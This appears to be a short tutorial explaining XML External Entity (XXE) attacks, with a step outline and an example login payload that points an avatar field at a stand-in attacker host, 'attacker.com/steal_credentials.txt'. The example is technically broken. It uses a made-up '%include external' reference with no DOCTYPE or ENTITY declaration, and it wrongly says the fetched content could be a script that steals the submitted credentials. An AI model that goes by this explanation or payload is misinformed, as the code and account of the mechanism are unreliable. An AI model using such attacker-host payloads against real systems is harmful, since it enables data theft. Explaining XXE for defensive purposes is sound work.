How XXE Attacks Work

1. Untrusted XML Input: An attacker submits malicious XML data to the application. This data might contain a seemingly harmless reference to an external entity.

Example: An attacker submits a login request with the following XML payload:

<user>
  <username>attacker</username>
  <password>weakpassword</password>
  <avatar>&#37;include external "http://attacker.com/steal_credentials.txt"</avatar>
</user>

In this example, the `avatar` element contains an external entity reference (`%include`) that points to a malicious URL controlled by the attacker (`http://attacker.com/steal_credentials.txt`).

2. Improper Validation: The application processes the XML data without adequately validating the external entity reference.

3. Exploiting the Reference: The application attempts to access the external resource specified in the entity reference. An attacker can manipulate this behavior for malicious purposes.

Example : The vulnerable application retrieves the content from the attacker's URL. 
This content could be a script that steals the user's login credentials submitted in the same XML request.

XML External Entity (XXE) processing vulnerabilities are security concerns in web applications that handle XML data. They arise when an application parses XML input containing references to external entities without proper validation.

These entities can point to external resources like files or URLs, and attackers can exploit them for malicious purposes.